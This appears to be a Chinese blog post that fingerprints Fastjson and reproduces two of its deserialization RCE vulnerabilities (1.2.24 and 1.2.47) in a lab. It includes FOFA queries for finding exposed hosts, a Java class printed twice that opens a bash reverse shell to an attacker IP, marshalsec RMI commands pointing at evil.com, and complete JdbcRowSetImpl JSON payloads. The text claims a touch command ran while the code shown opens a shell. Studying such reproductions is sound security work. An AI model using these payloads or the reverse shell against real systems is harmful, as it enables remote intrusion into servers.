Fastjson框架特征及漏洞复现

Fastjson 是阿里巴巴开发的一款 JSON 解析器。

Web特征

fastjson 作为纯 Java JSON 解析库,自身没有任何默认端口、默认路径或默认 Web 界面,但一些配置问题或者其他问题导致其报错,那么就可以判断其使用了fastjson,比如:

image-20251120220400659

根据上面这个报错信息,那么可以生成fofa搜索语句:

  • body="com.alibaba.fastjson.JSONException" || body="fastjson.JSONException" 利用fastjson专属异常类的报错,其他json库基本不存在。
  • body="\"@type\":\"" && content_type="application/json"

漏洞复现

CVE-2017-18349(Fastjson 1.2.24 反序列化导致RCE)

在解析 JSON 的过程中,它支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,攻击者可以构造出恶意利用链。

影响范围:Fastjson<1.2.25

  • RMI 利用方式: JDK ≤ 6u132、7u122、8u113
  • LDAP 利用方式: JDK ≤ 6u211、7u201、8u191
  • JDK 8u191+ 已限制远程类加载,可降低利用成功率

复现示例

PS:由于这里复现用的目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,可以使用 com.sun.rowset.JdbcRowSetImpl 的利用链,通过 JNDI 注入来执行命令。

1、编译并上传命令执行代码到恶意服务器,通过 http://evil.com:port/TouchFile.class 访问下载:

// fileName:TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String attackIP = "192.168.120.142";  // 攻击机ip
            String listenPort = "8888";         // 攻击机监听端口
            
            String[] commands = {
                "/bin/bash", 
                "-c", 
                "bash -i >& /dev/tcp/" + attackIP + "/" + listenPort + " 0>&1"
            };
            
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

PS:由于目标是java8,所以这里需要使用javac8对恶意java文件进行编译,得到恶意class文件:

image-20251120224725077

然后要开启一个端口(比如80),便于后续目标前来下载恶意class文件。

2、使用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com:port/#TouchFile" 9999

PS:

  • http://evil.com:8000/#TouchFile:告诉目标机,去这个恶意站点下载 TouchFile.class
  • 9999:RMI 服务的监听端口(后续 Payload 要用到这个端口)。

3、向目标服务器发送包含 RMI 地址的 Payload:

POST / HTTP/1.1
Host: target-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://RMI-ip:9999/TouchFile",
        "autoCommit":true
    }
}
image-20251120232325286

如下图所示,命令 touch /tmp/success 已成功执行:

image-20251120232316689

大概流程如下:

deepseek_mermaid_20251120_9c8319

漏洞变种(Fastjson 1.2.47反序列化导致RCE)

这里复现的目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,那就可以简单利用 RMI 进行命令执行。

首先编译并上传命令执行代码到恶意服务器,如 http://evil.com/TouchFile.class

// fileName:TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String attackIP = "192.168.120.142";  // 攻击机ip
            String listenPort = "8888";         // 攻击机监听端口
            
            String[] commands = {
                "/bin/bash", 
                "-c", 
                "bash -i >& /dev/tcp/" + attackIP + "/" + listenPort + " 0>&1"
            };
            
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

然后使用 marshalsec 项目启动一个 RMI 服务器,监听 9999 端口,并指定加载远程类 TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

(差异点)向目标服务器发送 Payload:

PS:注意构造数据包时需要修改Content-Type: application/json

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evil.com:9999/Exploit",
        "autoCommit":true
    }
}

image-20251121204051347

image-20251121203723695

更多信息参见:服务攻防

posted @ 2025-12-02 12:56  shinianyunyan  阅读(18)  评论(0)    收藏  举报